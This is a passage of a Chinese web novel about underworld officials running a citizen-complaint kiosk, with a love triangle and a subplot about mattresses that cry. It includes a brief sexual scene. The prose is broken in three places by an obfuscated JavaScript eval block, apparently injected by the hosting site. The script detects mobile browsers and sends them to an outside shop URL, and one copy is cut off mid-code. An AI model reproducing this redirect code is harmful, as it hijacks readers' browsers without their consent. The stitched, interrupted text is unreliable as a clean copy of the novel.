祝平安觉得自己很奇怪,之前工作的时候,她一天可能要说七八次“烦”,尤其是要加班的时候,看到许愿系需求的时候,跟其他部门扯皮的时候…… 但今天,看到民诉通跟那一沓诉求记录的时候,她居然忘了自己过去半年的痛苦与疲惫,萦绕在她心头的只有淡淡的感动。 “你在看什么?”宋清辉问道:“这只是一些工作记录而已,你那副仿佛吾家有女初长成的神态是怎么回事啊?” 祝平安不好意思地笑了笑,低声道:“可能是有点矫情,但是……不知怎么,看到这些的时候,忽然觉得这半年的罪也没白受。” 宋清辉摸着自己比半年前憔悴了不少的脸,眼睛瞪得像铜铃,脸上明晃晃地写着:你脑子没问题吧? “也许在工作的时候,感觉这些吵吵嚷嚷的事情确实心烦,有时候还想让这一切统统爆炸算了。”祝平安望着远方即将沉下的夕阳,沉吟道:“但是,世界就是要吵吵嚷嚷啊,因为有人在哭,在笑,在生活,在努力,在碰撞,他们的感情和需要充斥着这个世界,不吵才奇怪呢!” 她望着那一沓工作记录:“看着这个,我就会觉得,世界一定会变好,因为我们已经修复了这世界上五百六十七个不完美的地方……如果民诉通真的能推广,我们将来也会做更多、更棒的事情。” “我想,对这个不完美的世界修修补补,应该是我这一生中,能做到的,最有意义的事情了吧?” 祝平安面朝着夕阳,含着笑说出了这句话。张松鹤在她背后,目不转睛地看着她的背影,眼光比夕阳更温柔。 这一刻,他居然有些惭愧,枉费他三百年的苦修,在这些事情上,却不如一个二十几岁的女子看得透。 半年前他不清楚的那个答案,现在悄然浮上心头。 当你倾尽所有的爱一个人时,对方却不爱你,你还会选择守护吗?还会选择付出吗? 现在,张松鹤知道,他会的。 爱并非不图回报,但,他却不会因渴望回报而去爱她。 她就像是这个世界,那么美,那么温暖,也许不完美,但仍然值得眷恋与守护。她不是为了你而存在的,爱她,是他自己的选择。 爱她,是因为她值得被爱。爱她,与她本身,并没有关联。 既然如此,又何必需要她回应呢? 半年多之前的那个夜晚,他从天空坠入深海,他曾以为自己会溺死在那片海里,可现在,他被潮汐轻轻推上了沙滩。 海风温润,海鸥回翔,大海并不想要他沉沦与此,他湿漉漉地从沙滩上坐起来,却一点都不想回到天上。 他只是站起身,再次走入这片海,感受着潮水来了又去,海波起伏拍打……这一次,他心甘情愿地在这片温柔的海上,永远漂流。 温尔雅察觉到了他的目光,大步走到祝平安身边,挡住了张松鹤的视线,笑道:“别发感慨了,已经是下班时间了。” 说罢,他没有跟同事们打招呼,就催着祝平安快走。 每次面对张松鹤时,温尔雅都感觉到自己有种轻微的失控,这一次,他甚至还没有离开同事们的视线范围,就宣告主权一般拉住了祝平安的手。 他回头,挑衅地看了一眼张松鹤,往常,张松鹤都会在这个时刻转开目光,或是竭力忍住情绪。 可这一次,他看见,张松鹤依然用那种令人讨厌的目光看着平安的背影,面对他的挑衅,只是轻轻地笑了。 温尔雅心中一阵烦乱,这次对峙,居然是他先转过头去,几乎是拉着平安落荒而逃。 103.九层之台 “民诉通的试点工作没有得到认可,往外推广的提议被否了。” 一个星期后,专班成员得到的不是组建民生诉求部的通知,而是这样一个冷冰冰的回复。宋清辉第一个忍不住站起来:“为什么?包大人是对我们哪里不满意?” “这并不是包大人的决定。”张松鹤按揉眉心,“组建一个全新的部门,不是包大人一人能够做主的事情,需要地府联席会议通过才行。换句话说,需要十殿阎王与三十四位府君共同表决,同意率超过80%才能推行。” “那我们拿到了多少同意率?” “60%都不到。” “我们的工作有那么烂吗?”这下连祝平安都忍不住了,“他们反对的理由是什么?” “性价比太低。”张松鹤把会议记录给大家看,“他们说,我们忙了半年,只帮助市民解决了一些鸡毛蒜皮的小事情,不是小偷小摸,就是小修小补,挽回的损失加起来也没有一千万……但我们这个项目投入的预算已经是成果的五十倍了,产出跟投入严重不成比例。” “怎么能这么算?”卫珑也提出异议,“这是试点,桃源雅筑一共才一千人,半年内能出现多少大案要案?要是真的那样,我们这的治安得烂到什么程度啊?” 大家七嘴八舌的抱怨起来,张松鹤静静听着,等大家都抒发完了怨气,才接着开口:“好了,说这些也没有用。反对的那些人心里其实都很清楚,他们不是觉得我们的工作不好,是懒得对现有情况做出变革而已。” “不管我们做什么,他们都不想推进,那我们还折腾个啥?”宋清辉撂挑子不干了。 “越是这种时候,越要逆流而上。”祝平安不同意宋清辉的话,“他们既然说我们没有做出成绩,那就做出点成绩给他们看看,让他们再也没法反对!” “你也太理想主义了吧。”宋清辉吐槽,“醒醒吧,你叫不醒装睡的人的!” “叫是叫不醒了,但我就不信,一刀劈下去他们也不醒。”祝平安翘起嘴角,“如果他们还能反对,那就是我们的成就不够令人瞩目!” 张松鹤挥挥手,终止了二人的争论:“现在我们虽然没能推广试点,但专班还没有解散,你们急什么?” 见两人安静下来,他才道:“包大人给我们争取到了二次审核的机会,还有半年时间给我们做努力,这半年,我希望大家能够继续做好工作。要放弃的话,二次审核不通过时再放弃也不迟。” 上司一锤定音,大家都安静下来。祝平安得知专班还有半年的死缓,也放松下来。话虽如此,大案要案也不是随随便便就能碰上的……总得拓展边界。 她举手:“既然这样,我建议,我们不能只在桃源雅筑一个地方进行试点了。” 张松鹤颔首:“继续说。” “桃源雅筑是居民区,治安一直不错,适合作为一阶段的试点区。”祝平安一边说一边整理思路,“现在,上面既然要成绩,我们也得转换思路,把民诉通投放到更危险的地方。比如说繁华的商业街、红灯区、酒吧街等地。” “也让上面看一看,一旦把民诉通放到合适的地方,到底能取得多大的成就!” 这些地方啊……主意不错,只是,如此一来,事件的处理难度也要翻个几倍。 这些地方鱼龙混杂,刑侦组、治安组三天两头的扫荡都打不住,若是民诉通能够带来一些新气象,倒确实是只得大书特书的成绩。温尔雅一半为平安的聪慧自豪,一半又不想让她掺和进这么危险的事情里,不由得有些矛盾。 可惜,这事情他说了不算,祝平安这会儿已经完全上头了:“民诉通应该投放到更多地方,起码要再加四台机器,覆盖更多不同的区域。居民区已经有了试点,我建议,工业区、商业区、红灯区、文教区也要同步跟上!” 张松鹤默默算了下,摇头道:“预算不支持设立这么多机器,最多支持三台。桃源雅筑的那台我们就不动了,余下的两台,我们设立在红灯区和商业区。” 他环顾四周:“大家有没有异议?” 当然无人反对,只有宋清辉嘟囔了一句:“您是老大,您说了算。” 事情就这么定了,祝平安当天就跟刑侦组和治安组碰了头,找到了两个新的试点地区:胭脂街和云来大街。 胭脂街顾名思义,就是地府的红灯区。那里是羊城第一的销金窟,号称各种朝代、各种风格、各种性别、各个种族的都有,总有一款适合你。当然,恶性案件也会多一些,醉酒闹事、仙人跳、因爱生恨应有尽有。 祝平安知道的时候眼睛都瞪大了:“前面的就算了,各个性别也不是不能理解……怎么种族都有?妖族也干这个?” 张松鹤表示她真是少见多怪:“这种行业虽然不光彩,但在地府是合法的,从业人员都是持照上岗的,也算职业的一种,妖族怎么就不能做?” “我还以为,大家是因为缺钱才做这个……” “啊,确实大部分人都是为了赚快钱的。”张松鹤点点头,“但妖族大部分都是欲望和情感都很丰富的物种,也没有人类的贞操观,这种事情是他们世界里自然而然的一部分,好像春天到了花会开一样,他们的本性就在追逐男欢女爱。” 张松鹤竖起手指:“在红灯区从业,对他们来说可是梦寐以求的好工作,是真正的为爱发电。在胭脂街,90%的从业者都是妖族,人族从业者才是比较少的。” 祝平安……祝平安又长见识了,同时,她深深地为自己人类之心的狭隘感到羞愧。 至于云来大街,那是羊城的高端商业街,在这里出入的都是王孙公子、名流巨贾,像是祝平安这等赚死工资的小卡拉米,那里的销售员都不会用眼皮子夹她一下。 这里的恶性案件不多,但一旦发生案件,涉案金额都是天文数字,要是半年内能接十个案子,他们这个专班投入的预算就全回来了。 民诉通想要在这两个地方试点,当然不轻松。好在胭脂街的从业人员许多都有一大堆把柄在公共安全部手里,治安组来回讲了两遍,大家也就接受了。 至于云来大街,则是卫珑出马搞定,不知道她回家说了什么,起初不愿意配合的云来大街商户就都同意了。 祝平安这才想起卫珑的设定——人家其实也是名流大小姐来着。只是她改头换面太成功,祝平安都把她的背景给忘了。现在想来,抽调卫珑进专班,八成也是有这方面的考量在。 总之,经历了一系列波折之后,两台民诉通就这样被安置在了胭脂街跟云来大街,从那天起,宋清辉也进入了二十四小时不眠不休的状态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073573|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 案子实在太多了! 当然,大部分都是来自胭脂街的,什么醉酒闹事、被诈骗、街上有呕吐物、丢了钱包、水管爆裂、噪音扰民…… 平均十分钟,就有新的案件到达,宋清辉简直成了八爪鱼,每天在各个单位间团团乱转,要是她身上有计步器,一天之内,她就能在办公楼里面走上三万步。 案件量实在太大,其他人有空时,也不得不加入案件分拨工作中,否则宋清辉一个人实在忙不过来。 至于云来大街,只报过两个相对重要的案子过来,一次是某富商小三信用卡被停用难以结账,另一次则是知名男戏子被私生饭围追堵截,剩下的都是垃圾清运不及时、道路拥堵之类的东西。 就这么秋去冬来,四个月就过去了,马上又是一年了。 祝平安看着案件记录直犯愁,虽说案子是多了,但仔细一看……还是鸡毛蒜皮。最大的案子也就是两名妖族小倌为争抢一名客人大打出手,砸坏了店里珍贵的古董花瓶。祝平安心里真是又欣慰、又心酸。 欣慰的是,治安看起来相对良好,心酸的是,照这么下去,二次考核可怎么办啊…… 问题出在哪里呢?祝平安冥思苦想,按刑侦组和治安组的说法,这两个地方明明能创造很多政绩的! 她有一天午餐时,跟温尔雅一起拉白子欣吃饭:“你们不是说胭脂街隔三差五就有大案要案吗?这么我们四个月来根本没接到什么大事件?” “诶?可是我们真的每周都处理了案子的啊。”白子欣一边吃饭一边说,“这个季度,光人命案子就好几起,胭脂河浮尸案、花满楼妓女上吊案、还有昨天刚报过来的,清吟小班丫鬟失踪案……” 祝平安眼睛都瞪圆了:“什么?我们怎么一点都不知道?” 白子欣嘿嘿一笑,顾左右而言其他,被祝平安逼急了才吐露实情:“胭脂街这些老板都有相熟的差役,发生事情都是直接找到熟人报案的,当然不会在你那边留下工作记录……” 好么,说的也有理。祝平安这下犯愁了,她总不能从刑侦组嘴里抢案子过来吧? 白子欣的话让她想到,民诉通虽然放在那里,但胭脂街跟云来大街是什么地方?是最不体面和最体面的两个极端。 在这样的极端环境里,几乎没人想通过官府来解决问题,尤其不会明目张胆地走到民诉通旁边,让大家都知道他们店铺出事了。 想通了这一点,祝平安垂头丧气的趴了:“那我们的专班工作还怎么开展?再没有点成绩,我们这一年就白干了!” “也别这么想嘛!”白子欣安慰,“老板们相信熟人关系,这是我们治安所差役的优势;你们这个民诉通肯定也有独特的优势,只是你还没发现而已。” 他把最后两口食物塞到嘴里,就跟祝平安告别了:“年关将至,一年的这个时候是最忙的,案子也是最多的,说不准就有几个案子落到你们那了呢?别着急,再等等吧!” 祝平安垂头丧气走出食堂,温尔雅在无人处握住她的手:“再耐心等等,一定会有收获的。” 只要有案子发生就好说。他自然能让这些案件,先经过民诉通报上来。温尔雅眯起了眼睛,这是他最接近鬼民簿的时刻,也许,他也应该抽时间回后土神殿一趟了…… 104.神秘哭声 预想中第二天就遇到大案要案的情况没出现,一张纸从接收端吐出来,祝平安伸头过去一看,嘴角抽搐:呵呵,又是鸡毛蒜皮。 这个案子是居住在胭脂街的一名金匠上报的。胭脂街虽然是红灯区,但那些从业人员也有衣食住行的需求,甚至要求还更繁多,故而珠宝黄金、华服美饰相关的店铺一点都不少。 报案人最近接了一批大单子,每日赶工赶得飞起,到了睡觉时间,听到耳朵边传来呜呜咽咽地哭泣声,吵得他没法入睡,故愤而投诉。 瞧着报案人笔走龙蛇的抱怨哭声有多么扰民,祝平安叹口气,把案子拨给了街镇行政部。估计不是某人被分手了半夜emo,就是打工人被老板裁员深夜破防,总之,还是跟大案要案搭不上关联。 案子拨给街镇行政部,她也没当回事,接着沉入各类鸡毛蒜皮。但接下来几天,关于深夜哭声扰民的事情层出不穷,林林总总共有七八起,她不得不联系街镇行政部,看问题到底解决了没有。 街镇行政部那边的回复来得很快:“哪有哭声?我们到事发地址看了,还蹲了半夜,也没听见哪里有哭声!是那个投诉人幻听了吧?” 真是这样么? 祝平安疑惑了,一个人听到有哭声,是有可能听错,七八个人都投诉,难道这么多人都得了集体癔症?不会吧? 难道是什么同伙恶作剧? 她把报案人的资料翻出来看,又拜托治安组进行查访,几番旁敲侧击下来,回馈给她的信息也简洁明了:这几位投诉人之间互不相识,只有第一个投诉的金匠和第六位投诉的香水贩子有过交集:喝醉了打过一架。 换言之,几位是不可能团伙作案的。 这就奇了怪了,祝平安绞尽脑汁也想不明白这是怎么回事,她看向温尔雅,温尔雅也摇头表示自己想不通。 祝平安只好继续催街镇行政部:是不是检查有疏漏?是不是弄错地址?是不是去的时间不对? 来回几次,街镇行政部被弄烦了,干脆撂挑子不干,再怎么催都杳无音信了。 与此同时,投诉单子却不断涌过来,尤其是第一个投诉人,他已经三次投诉了,第三次的言辞更是激烈:现在不仅是哭声,时不时还有惨叫声,简直要把人的心脏病吓出来了! 要不是自己已经是鬼了,祝平安几乎以为这是一场闹鬼事件了。 她把最近这七八起投诉哭声扰民的案子在地图上标注出来,嘿,这几人的住处毫无规律性可言,既不是一条线也不是一个圈,根本不符合声音传递定理。 看来需要自己去一趟才能弄明白了。 当她在会议上提出由专班成员自己去处理问题时,宋清辉第一个反对:“这跟我们的职责范围不符吧?我们只负责接收民诉通的投诉,但不负责自己解决投诉,否则还要其他部门干嘛?” 周北、鲁默、蔡家也是多一事不如少一事的意思,祝平安叹口气,心里暗暗怀念特别行动组的苗妙妙他们。她只得把目光转向张松鹤,希望领导能支持她的想法。 谁知,这次张松鹤也沉吟了,他对着祝平安缓缓摇了摇头:“这件事确实不适合让专班成员去查。” 这还是祝平安第一次在公事上跟张松鹤意见相悖,当她看见张松鹤对她摇头时,简直不相信自己的眼睛。即使是两人之前冷战的时候,她在工作上的建议他也一向支持,现在是怎么……怎么…… 她这才发现,她从没想过张松鹤会拒绝她,这份笃定,就跟她认为温尔雅不会拒绝她一样。 咽下那些说不清道不明的酸涩,她蔫头耷脑地坐下,又在桌下拉住了想要说些什么的温尔雅。 张松鹤看了她一眼,口气温和道:“你有这个心是好的,但是民诉专班如果亲身调查案件,那就难免跟当事人有牵扯,进而导致职权混乱。未来的民诉部只是一个反馈需求的平台,不具有介入解决的能力。” 祝平安不得不承认他说的有道理,但仍然心有不甘。会议结束,她走到走廊无人处,抓着温尔雅,用期待的眼神看着他。 温尔雅无奈地摇摇头:“你想去就去吧,只是那个地方很乱,你不能自己去。” “那还用说?我肯定会带上你的。”祝平安谄媚。 “不光是带上我,你还需要带的是拘魂锁。”温尔雅宠爱地点她脑门,“去那种地方,手里没武器怎么行?先说好,手里没武器的话,我也绝不同意你去调查。” 祝平安哑了,拘魂锁他们每个人都有,但都在部里统一保管,除了抓捕行动时,平时都不给差役用,祝平安到了部里两年几乎一次都没用过,使用都是要先申请,再给部长签字同意的。 刚刚张松鹤明确表示不赞同她去调查,她一转身就申请使用拘魂锁,要怎么跟他说呢?怎么说他都会发现的吧? “怎么在这愁眉苦脸的?”身边忽然传来一阵冷香气息,祝平安回头,发现张松鹤不知道什么时候站在她身后边,吓得她赶快松开温尔雅的袖子:“张部长,你怎么来了?” 张松鹤视而不见,递给她一条拘魂锁:“走吧。” “嗯?上哪里去?”祝平安一时间被他弄晕了。 “胭脂街啊,你不是想去调查神秘的哭声吗?”张松鹤撇撇嘴,扔给温尔雅一条拘魂锁:“你也一起去。” 祝平安又惊又喜,眼睛都亮了,连忙跟上:“你不是说,专班成员不能介入解决……” 张松鹤屈起手指,在她脑门上一敲:“是啊,但你是不是忘了,你除了是民诉专班的成员,还是公共安全部的副部长啊?” 他一挥手,示意祝平安跟紧一点:“专班成员管不得,但公共安全部的副部长就管得,走吧,久违的用公共安全部差役的身份,去做调查吧!” 温尔雅的脸都气绿了。可恶,当着他的面…… 但他又发作不出来,被迫看张松鹤继续勾引祝平安。是的,他的嗅觉不会错,即使张松鹤看似漫不经心,但趁机进行肢体接触……这就是勾引!不仅是勾引,还是明目张胆的挑衅! 而祝平安的表现就好像分辨不出绿茶的呆瓜,还屁颠屁颠地跟上去夸赞:“好啊好啊!谢谢你!” 张松鹤勾唇一笑,扭头看去,温尔雅捧着拘魂锁还站在原地:“温副组长不跟上来吗?莫非是不打算去了?” 去!怎么能不去呢! 温尔雅咬着牙跟上,再不跟上去,让他们独处一晚上,还不知道这不要脸的男绿茶要做什么呢! 三人来到胭脂街,从第一家也是投诉最多的金匠家查起。 金匠住一个独栋房子,只有三层,第一层是店铺,第二层是会客厅和餐厅,第三层才是他睡觉的地方。 金匠见来了人,大吐苦水:“就是从十天前开始的,一到睡觉的时候,就是哭啊、吵啊,时不时还有惨叫声。就是不知道从哪里传过来的,你说这样谁能睡得着啊!” 祝平安询问:“会不会是您的邻居家发出来的声音?” 金匠摇头:“绝对不会,第一次听见这个声音的时候,我隔壁的邻居全家都出门探亲去了,根本连一个人都没有,不可能是他们在吵。” 这就邪门了,张松鹤道:“可不可以让我们在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你们听不见吗?他们哭的很大声啊!”金匠信誓旦旦,三人又楼上楼下,屋里屋外地排查了一遍,连屋顶都爬上去看过了,然而他们没看见一点可疑的东西,也没听见任何声音。 金匠坐在床上,汗都下来了,“你们可别吓唬我,难道这哭声只有我听得见?我被怨鬼缠上了?不对不对,现在我就是鬼……” 祝平安也有点怀疑金匠是不是真的有癔症了,用视线示意张松鹤:要不还是先送他去医院? 张松鹤微微一点头,他先坐到金匠床上,试图放松他的警惕:“你别急……嗯?” 张松鹤的面色突然变了,他抬手阻止金匠,示意他安静下来,祝平安看他脸色不对,问道:“你听见了?” 张松鹤缓缓点头,转动着脑袋,寻找这声音是从哪里来的,然而这哭声就好像直接响到了他的脑海里,令人无从分辨。他抬眼望着祝平安:“你们没听见?” 祝平安两人摇摇头。张松鹤望着金匠,他发现张松鹤也能听见哭声后如蒙大赦:“看吧!我没骗人吧!听,还有惨叫声呢!” 张松鹤沉吟,他也听见了一声惨叫。金匠没得癔症,可这屋里一共四个人,两个站着的,两个坐着的,站着的全没听见,坐着的却听得清清楚楚,难道是他们倾听的姿势不对? 于是他指挥祝平安两个人也找个地方坐下,二人从二楼哼哧哼哧搬了两把椅子上来,坐下后依然表示啥也没听见。张松鹤眼睛一眯,看来,唯一的变量只有这个了。 床。 他抬手让金匠稍微朝里坐一些,让祝平安跟温尔雅都在床边坐下,两人刚刚坐下,脸色就是同时一变。 张松鹤看着二人凝固的脸色就知道——他们也听到了。 105.会哭的床垫 三人站起身,让金匠下床,金匠的脚一落地,脸上就是一喜:“咦?哭声停了?” 张松鹤又坐回床上:“不,哭声还在。” 看来问题就出在床上了,张松鹤围着床转了两圈,没看出什么特别的,就是一张普通的双人床啊。 他扫一眼温尔雅:“过来跟我一起把床垫掀开。” 温尔雅很不爽他的做派,一个男绿茶,还想使唤正室?他回道:“凭什么是我?” 张松鹤奇怪地盯了他一眼:“那你是要让平安跟我一起搬床垫?” 温尔雅吃了个瘪,只好愤愤地起来,两人手臂一用力,将床垫掀开,露出木头床板。张松鹤再次坐在床板上,这次没听见有哭声,他伸出手,贴上被搬开的床垫,哭声又回来了。 他站起来,手没有离开床垫,而哭声也一直没停,他招呼另外几人也去摸床垫,大家表示都听到了哭声。 会哭的床垫! 金匠整个人都吓麻了,两眼一翻跌在祝平安身上,张松鹤一把扶住他:“醒醒,现在不是晕的时候,要晕也等你告诉我床垫在哪里买的再晕!” 张松鹤跟温尔雅合力把瘫软的金匠抬到椅子上,祝平安下楼烧了一杯热茶给他灌下去,好半天金匠才缓过来,气息奄奄道:“床垫是我之前在一个叫天与水的家具店买的,他们说是什么岫岩玉床垫,内含微量元素,能放射红外线,调节人体经络,促进血液循环……妈呀,他们怎么不告诉我最重要的,这床垫会哭啊!要是早跟我说,我就不买了!” 你也说了,人家要是告诉你,你就不买了,那谁还告诉你啊?祝平安心中吐槽,问道:“冷静,床垫不是一开始就会哭吧?” 金匠点头:“也就是十天前才开始的吧,之前一直是好好的!难道是床垫最近成精了?床垫精不想被我压着,所以才又哭又叫的?” 金匠想到这里,从椅子上翻下来,双膝落地就给床垫咣咣叩头:“床垫精大人,我不是有意压着你的,请你大人有大量,千万别跟我计较……” 祝平安看金匠是真害怕,已经开始胡说八道了,赶忙把他拉起来,抓紧问他最重要的:“你刚刚说床垫是在天与水家具店买的?店铺地址在哪里,你还记得吗?” 金匠把地址写了下来,几人获得线索,就打算告辞了。张松鹤问:“床垫可不可以给我们带回去?您放心,等我们查清楚是什么问题,会把床垫给您送回来的。” 金匠听得一边点头一边摇头:“您快拿走吧,太吓人了这个……以后也不用给我送回来,随你们处置好了……谢谢啊!” 就这样,张松鹤和温尔雅抬着床垫下来,这大家伙还真挺沉,祝平安询问:“把它拿到哪里去?” “送法医处吧,让他们想办法检查一下,到底是床垫成精还是别的什么。”张松鹤小臂肌肉隆起,看起来丝毫都不费劲,温尔雅虽然觉得有点重,但为了面子死撑着,坚决不肯在这方面输给张松鹤。 三人组抬着一张床垫在胭脂街招摇过市,寻找马车往回拉东西。祝平安一边在街上找车,一边问道:“你们说,是不是所有投诉的人都遇到了这种情况?” 张松鹤抬着床垫走在前头,听了她这话脚步一顿。温尔雅猝不及防,差点没摔个趔趄,狼狈不堪地稳住了身形。只听张松鹤说:“你说的有理,既然来了,干脆就把所有投诉的人家都走一遍吧,看到底是不是床垫的问题。” 于是,那天他们一共收获了八张床垫,无一例外都是在天与水家具店买的。床垫在车上摞的高高的,路人也不免为之侧目。 张松鹤在前面赶车,祝平安感叹道:“这让我想起来一个童话故事,豌豆公主。王子给公主准备了二十张床垫、二十张鸭绒被子,叠起来让她睡觉,我小时候还没觉得有什么,现在一看,二十张床垫还不堆到天花板上了?公主是怎么上去的?” “所以说童话故事都是骗人的啊。”张松鹤毫不浪漫地臧否童话,“好了,我的好奇公主,你有时间,还不如听听床垫在哭什么,说不准它们有冤情要诉呢。” 明晃晃的勾引!居然趁机叫平安“我的公主”,但又把这个称呼藏在貌似公务的对话中,暧昧的很! 看不出啊,张松鹤还有这一手!温尔雅脸色发青,连忙去看平安的反应,见祝平安丝毫没觉得异样,但还是乖乖往后一靠,潜心去听床垫的哭声,看来没被勾引到。 这一会儿,车子已经驶出了胭脂街,四下安静了不少,祝平安凝神细听,还真让她听出了一些不对:“这……这好像不是一个人的哭声。” 她细细辨别:“我总觉得,是好多人在哭,男的女的都有……有时候还有惨叫,这些声音交叠在一起,又好像有些失真,这才令人难以分辨。” “有说话声吗?”张松鹤问重点了。 “还真有。”祝平安继续细听,“但是都很短促,好像不是求求你饶了我,就是救命啊,都是些没有意义的东西。” 她开始有点担心了:“救命啊……难道,我们这次真的遇到了大案要案?”这么儿戏的吗?大案要案是被床垫哭出来的?说出去人家还不以为她疯了? “别想这么多了,明天先听听法医怎么说吧,如果真的有问题,我们再去那个天与水家具店看看,否则压根都不知道床垫哭声的原理,想也没用。”张松鹤一挥马鞭子。 也只好这样了,祝平安表示同意,几人把八张床垫往法医处一塞,各自打道回府。 当天晚上,祝平安被温尔雅卷在怀里,很久都不让她睡觉。他一边呼唤她为我的公主,一边紧紧抱住她的身体,用手指服侍了她好几次,让她大汗淋漓,软如烂泥,却还不肯放过她。 “真的不行了,明天还要上班……”祝平安倒也不是不喜欢,可今夜实在吃得太饱,都有点撑着了,她摁住温尔雅还要动作的手,眼皮立刻就合上了:“乖啊,让我睡觉……” 温尔雅不甘心地凑上去:“我的公主,请回答我一个问题,作为今夜的奖赏吧……是谁令你最快乐?” 祝平安迷迷瞪瞪地把他揽进怀里,在他额头上亲了一口:“还用说吗?当然是你呀,我的裙下之臣……” 祝平安说完这句话就不动了,眼皮一眨不眨睡得死沉。温尔雅这才满意了,现在,公主的身体和心灵,肯定都被他带来的快乐全部占满了,再不会有一丝心力想着别人。 这种亲密接触,张松鹤可是万万没有机会的,那点小暧昧的绿茶手段,怎么能与他相提并论? 想到这里,他得意非凡,心头那点慌乱又被柔情取代。他轻轻从祝平安怀中挣脱出来,抱她去浴室清洁身体,又将汗湿的被褥全部换下,这才心满意足地将公主圈进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081666|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀里,闭上眼睛睡觉。 第二天,卫珑看着祝平安顶着黑眼圈的样子,不由得在背人处打趣:“你这气色……昨天下班后过的很愉快么?” 祝平安呸她一句:“收起你的想象,昨天晚上我们是加班去了,法医处有八张床垫为证!” 卫珑嬉笑道:“跟我还瞒着?加完班之后,你跟窝边草干嘛去了?” “八卦!你爱怎么想怎么想吧,我懒得跟你说!” 两人嘻嘻哈哈进了门,张松鹤自然也能看得出祝平安今日的变化,瞧着温尔雅挑衅地看着自己,他也不以为意,只是如常进行着会议,让温尔雅好生失落。 今天晨会没说太多,下会后,祝平安就直奔张松鹤过去了:“法医处怎么说?” “哪有那么快,法医处有结果了我会告诉你的。”张松鹤的目光从她脸上扫过,八风不动:“这里是专班工作室,你还是继续履行专班成员的职责吧。” 祝平安撇撇嘴,只好坐回去。温尔雅则又是暗戳戳的不开心了,只要平安还在上班,就总要跟那个姓张的往来,这让他怎么受得了? 张松鹤瞥见温尔雅的神色,心里好笑,被偏爱的还要这么紧张,让他这从没得过回应的怎么办? 当天中午吃饭时,祝平安一边吃一边跟白子欣说床垫之谜,两人聊得热火朝天。温尔雅不动神色地把自己碗里的炸虾夹给祝平安一个。 这动作的占有欲味道很强,祝平安正说到兴头上,完全没察觉,夹起来就吃了。 白子欣则愣了愣,意识到自己挤占了二人的私人空间,于是火速结束了话题回去了。温尔雅这才开心起来,接下来都是他跟祝平安的二人时光了。 张松鹤坐在稍远处的桌子上,把一切尽收眼底,待到二人都吃完,把餐盘拿到回收处,他也跟着站起来,排在温尔雅身后倒盘子。 排队时,他压低声音,用只有他跟温尔雅能听到的声音道:“放松点,没人要跟你抢她,女人可不喜欢小心眼的男人。” 温尔雅一怔,张松鹤已经飘飘然走了。他可不希望温尔雅又在夜里折腾祝平安,经书有云,纵欲伤身,还是从根源上节制些好。 温尔雅反应过来,气的火冒三丈,这不要脸的男绿茶!他那是什么口气,好像他才是正室一样,还教导他怎么样才能讨人喜欢! 你个败犬!你懂女人喜欢什么样的男人,平安怎么不要你? 虽然腹诽,但温尔雅多少还是放松了一点。接下来的几天,他再没有那么放纵地缠着平安,当然,他绝对不承认这是听到张松鹤说“没人跟你抢她”后,才松掉的一口气。 法医的报告还没出现,而祝平安则在床垫事件中学到了一个新经验:大案要案不一定会出现在民诉通,但与大案要案关联度高的小事,非常有可能反应在民诉通上。 她翻看胭脂街过往的工作记录,与白子欣告诉她的案件对照,发现在胭脂河浮尸被找到前,有两名居民投诉附近有异味;花满楼上吊案发前,也有人投诉有个女人总是神经兮兮地在大街上徘徊,怀疑是疯子,希望差役把她抓起来。 但凡事件发生,必定有迹可循,小事背后可能藏着大事……祝平安现在多少有点感觉到,白子欣说过“民诉通的独特优势”是什么了。 她沉思着,开始翻找云来大街的工作记录。 106.哭声之谜 云来大街的案子比较少,也相对零散,暂时没发现什么群体投诉,只看到了几个投诉云来大街某处拥堵的案子,但这也是家常便饭,云来大街哪天不堵才是新闻。 祝平安百无聊赖地放下工作记录,皱着眉思考能从堵车投诉里提取出什么信息。一只修长有力的手在她面前晃了晃:“回神了。” 祝平安条件反射地一眨眼,这才看清是张松鹤俯身站在自己身前,这个距离近的近乎能看清他的睫毛。 看她不再发呆,张松鹤站起身,随意靠在她工位旁,手中拿着一张分析报告,含笑道:“法医那边的检验报告出来了,喏,特意拿给你。” 温尔雅上来,从他手里接过报告递给祝平安:“不是床垫精?” 张松鹤对他的小动作不以为意,含笑摇头:“不是那么玄学的东西,有绝对的科学解释。” 祝平安翻开报告,报告显示,那些玉石床垫的材质不是岫岩玉,而是一种结构特殊的石头,这种石头生长在母石上,即使被切割成一块块,也依然能够与母石产生共鸣,同频母石的震动。 “也就是说,这玩意儿跟无线音频接收器一样,母石那边有什么动静,它就能同步播放什么声音?”祝平安总结道。 “聪明。”张松鹤打个响指:“所以,咱们是真的迎来大案要案了。快走,咱们去天与水家具店。” 三人直扑天与水家具店,这店铺就开在胭脂街隔壁,到了门前却傻了眼,门头上明晃晃五个大字“大姨包子铺”,哪有什么家具店? 祝平安不得不去问店员:“请问这里之前不是天与水家具店吗?什么时候改包子铺了?” 现在是用餐高峰期,店员不耐烦道:“我就是个服务员,哪知道以前这店铺是怎么回事?你们到底买不买,不买别挡着门口!” 